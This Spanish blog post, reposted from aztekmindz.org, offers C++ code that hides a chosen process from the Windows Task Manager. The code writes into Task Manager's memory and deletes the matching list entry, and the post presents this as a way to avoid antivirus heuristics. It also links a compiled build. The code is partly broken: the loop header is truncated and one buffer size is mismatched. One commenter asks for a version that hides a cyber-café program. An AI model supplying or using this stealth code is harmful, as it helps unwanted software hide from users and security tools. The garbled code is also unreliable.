Banner 1

Ocultar proceso en el Administrador de Tareas (Task Manager) en C++

Codigo escrito en C++ para ocultar nuestro proceso al Administrador de tareas sin necesidad de utilizar inyeccion.

Es un metodo bastante bueno si se quiere ocultar un proceso al Taskmgr.exe y no tener problemas con los sistemas heuristicos de los antivirus al realizar inyecciones.

/*
[ Programa ]
Ocultar procesos al administrador de tareas (Task Manager) Sin inyeccion.
By Octalh
Testeado en Windows XP SP2
octalh@gmail.com
www.aztekmindz.org
*/

using namespace std;

LVITEM ItemLista, *_ItemLista;
char item[512], subitem[512];
char *_item, *_subitem;
unsigned long pid;
HANDLE HProceso;
char ExeProc[50]; //Proceso a ocultar

BOOL CALLBACK PrOcultar(HWND hwnd,LPARAM lParam)
{
char HLista[150] = "";
char HAdminT[150] = "";

GetWindowText(hwnd,HAdminT,149);
GetClassName(hwnd,HLista,249);

if (strstr(HAdminT,"Procesos") && strstr(HLista,"SysListView32") !=NULL)
/* Si encontramos la columna "Procesos" en el Taskmanager y la clase "SysListView32"
de la listvew
*/

{
int count=(int)SendMessage(hwnd, LVM_GETITEMCOUNT, 0, 0); // Contamos los Items listados
int i;
GetWindowThreadProcessId(hwnd, &pid); //Obtenemos el Pid de cada Proceso listado como Item
HProceso=OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_READ|
PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION, FALSE, pid);
// Obtenemos el Hndle del proceso como Item de la Listvew

_ItemLista=(LVITEM*)VirtualAllocEx(HProceso, NULL, sizeof(LVITEM),
MEM_COMMIT, PAGE_READWRITE); // Asiganos permisos de lectura y escritura al Listvew
_item=(char*)VirtualAllocEx(HProceso, NULL, 512, MEM_COMMIT,
PAGE_READWRITE);
_subitem=(char*)VirtualAllocEx(HProceso, NULL, 512, MEM_COMMIT,
PAGE_READWRITE); // Asiganos Lectura y Escritura en la region asiganda

ItemLista.cchTextMax=512;
for(i=0; i) { // Contamos cada Item en un Bucle
ItemLista.iSubItem=0;
ItemLista.pszText=_item;
WriteProcessMemory(HProceso, _ItemLista, &ItemLista, sizeof(LVITEM), NULL);
SendMessage(hwnd, LVM_GETITEMTEXT, (WPARAM)i, (LPARAM)_ItemLista); // Obtenemos el nombre de cada Item (Proceso)
ItemLista.iSubItem=1; // Posicion de la columna en el listview
ItemLista.pszText=_subitem;
WriteProcessMemory(HProceso, _ItemLista, &ItemLista, sizeof(LVITEM), NULL);
SendMessage(hwnd, LVM_GETITEMTEXT, (WPARAM)i, (LPARAM)_ItemLista);
ReadProcessMemory(HProceso, _item, item, 512, NULL);
ReadProcessMemory(HProceso, _subitem, subitem, 512, NULL);

if (strstr(item,ExeProc) != NULL) SendMessage(hwnd, LVM_DELETEITEM, (WPARAM)i, (LPARAM)_ItemLista);
// Si exise el Proceso a Ocultar, eliminamos el Item de la Listvew
}
VirtualFreeEx(HProceso, _ItemLista, 0, MEM_RELEASE); // Libreamos…
VirtualFreeEx(HProceso, _item, 0, MEM_RELEASE);
VirtualFreeEx(HProceso, _subitem, 0, MEM_RELEASE);
return FALSE;
}

return TRUE;
}

int main(){
HWND fwindow;
printf("%s","\n\n Ocultar Procesos al Task Manager \n");
printf("%s","\n <<>>\n\n");
printf("%s"," [ www.aztekmindz.org | octalh@gmail.com ]\n \n");
printf(" Escribe el proceso que deseas ocultar: ");
gets(ExeProc);
printf("\n\n Ocultando Proceso: [ %s ]",ExeProc);

for(;;)
{
EnumChildWindows(FindWindow(0,"Administrador de tareas de Windows"),PrOcultar,0);
}

return 0;
}

Descargar Programa Compilado


NOTA:el codigo es unicamente para demostrar como hacerlo y no como una herramienta en si

Fuente:http://www.aztekmindz.org/2008/06/29/ocultar-proceso-en-el-administrador-de-tareas-task-manager-en-c/


3 comentarios:

the grasshopper dijo...

Me gustaría saber si es posible resubir el programa compilado ya que el enlace actualmente es inválido.
Gracias de antemano.

cristian dijo...

Hola excelete la apliacion. Podrias copilarme el codigo para ocultar una aplicacion que se llama esclavo.exe. Es un programa para un ciber y para no bloquear todo el administrador de tareas seria estupendo si pudieras armarlo.. Muchas gracias

Unknown dijo...

A la pagina del proyecto original le estan haciendo unas modificaciones pero pronto estaran online por el momento es solo esperar porque no recuerdo donde tendre el programa xD.

Si se demoran mucho para regresar yo mismo lo compilo y lo posteo.

saludos

Powered by Bad Robot
Helped by Blackubay